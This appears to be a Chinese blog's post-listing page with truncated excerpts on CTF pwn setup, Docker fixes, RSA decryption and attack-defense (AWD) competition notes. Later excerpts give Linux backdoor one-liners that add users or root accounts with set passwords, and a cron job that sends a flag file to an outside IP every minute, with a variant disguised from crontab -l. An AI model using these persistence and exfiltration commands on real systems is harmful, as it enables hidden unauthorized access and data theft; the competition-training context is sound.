ERROR] Could not find a terminal binary to use. Set context.terminal to your terminal报错的解决办法
ERROR] Could not find a terminal binary to use. Set context.terminal to your terminal报错的解决办法由于在用docker做pwn题的时候attach时报错,网上找到了一个解决办法,为了防止以后找不到了,于是先记录一下
一、问题描述在用docker做pwn题的时候,在命令行界面进行pwntools的实验中,在调用gdb进行debug时会报这样一个错
[ERROR] Could not find a terminal binary to use. Set context.terminal to your terminal
其中部分实验代码如下:
123456from pwn import *p = process('./leakmemory')gdb.attach(p)
经过对源码的分析,我们知道是脚本在第9行调用gdb对p进程进行debug时,需要新开一个终端,也就是说在前面对新开终端的参数进行设置(即context.terminal=[])。
一开始我到/us ...
Docker容器常见故障排查解决方案
Docker容器常见故障排查解决方案Docker是一种相对使用较简单的容器,我们可以通过以下几种方式获取信息:1、通过docker run执行命令,或许返回信息2、通过docker logs 去获取日志,做有针对性的筛选3、通过systemctl status docker查看docker服务状态4、通过journalctl -u docker.service 查看日志
以下是整理的docker容器类问题故障,分为9个类
一、启动类故障1、docker: Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?
原因:Docker未正常启动解决方式:
1systemctl start docker
2、can’t create unix socket /var/run/docker.sock: is a directory
原因:docker.sock不能创建解决方式: ...
RSA各种算法
RSA基础RSA原理1.n = p * q n是模数 p和q都是素数,通过欧拉函数得到与n互素的个数φ(n)
2.欧拉数φ(n)=(p-1)*(q-1)
3.选择一个e,e的取值在(1,φ(n)),且e与φ(n)需要互素,不然无逆元得不到d,通常e取65537
4.求出e与φ(n)的模逆数d, e * d ≡ 1 mod φ(n)
加密解密对明文进行加密,c = m^e mod n, 即 c= pow(m,e,n)
对密文进行解密,m = c^d mod n,即m = pow(c,d,n)
其中公钥为(e,n),私钥为(d,n)
解密脚本12345678910111213import gmpy2import randomp=getPrime(1024) #题目上所给的p和qq=getPrime(1024)c=''e=65537n=p*qphi=(p-1)*(q-1)d=int(gmpy2.invert(e,phi))m=pow(c,d,n)from Crypto.Util.number import *print(long_to_bytes(m))
...
awd出题笔记
awd出题笔记前言第一次出线下的pwnAWD,记录一下,以后留给学弟什么的学习一下。
CTFpwn环境搭建其实和出线上赛是一样的,注意加一下setvbuf设置一下缓冲流就行了。
搭建pwn题目环境的时候,可以先本地测试一下
1socat tcp-l:888 , frok exec:./pwn
上面的命令可以用来实现本地的监听端口,这样在写check脚本的时候会比较方便
端口问题在写docker脚本的时候,记得在dockerfile上加上EXPOSE port 用来开放端口,否则会出现无法nc的情况。当然,如果用的是服务器的话,记得服务器端也要开启对应防火墙设置。
build 镜像时 无法交互式设置时区如果你搭建的环境是基于unbuntu18.04之后的镜像的话,需要手动设置时区,因为18.04后面就没有默认时区了,需要在Dockerfile 开头(FROM后面)加上
12ARG DEBIAN_FRONTEND=noninteractiveENV TZ=Asia/Shanghai
pwn编译gcc开关保护在编译pwn文件的时候,需要设置pwn的保护,于是总结了一下保护的相关参数
12 ...
4. Linux权限维持_后门篇
Linux权限维持–后门篇本文将对Linux下常见的权限维持技术进行解析,知己知彼百战不殆。
1、一句话添加用户和密码
添加普通用户:
1234567891011# 创建一个用户名guest,密码123456的普通用户useradd -p `openssl passwd -1 -salt 'salt' 123456` guest# useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句useradd -p "$(openssl passwd -1 123456)" guest # chpasswd方法useradd guest;echo 'guest:123456'|chpasswd # echo -e方法useradd test;echo -e "123456\n123456\n" |passwd test
添加root用户:
12# 创建一个用户名guest,密码123456的root用户useradd -p `openssl passw ...
2.AWD-提权
AWD-提权查看版本号查看Linux内核版本命令cat /proc/version
uname -a
查看Linux系统版本的命令lsb_release -a
cat /etc/issue
1.AWD权限维持
AWD权限维持进程端口查看ps -aux 进程netstat -tuln #查看所有开放端口lsof -i :端口号 #查看指定端口开放情况
计划任务crontab -l #列出计划任务crontab -e #写计划任务crontab -r #删除计划任内务
定时发送flag1*/1 * * * * curl 116.63.162.119:7777/?flag=`cat /flag` #每分钟向模板发送flag
1(crontab -l;printf "*/1 * * * * curl 116.63.162.119:7777/?flag=\`cat /flag\`;\rno crontab for `whoami`%100c\n")|crontab -
下面是可以直接用在exp中的写入定时任务的模版
1234567def set_crontab(): My_ip = "127.0.0.1" port = "8080" flag_path = "/flag" crontab_p ...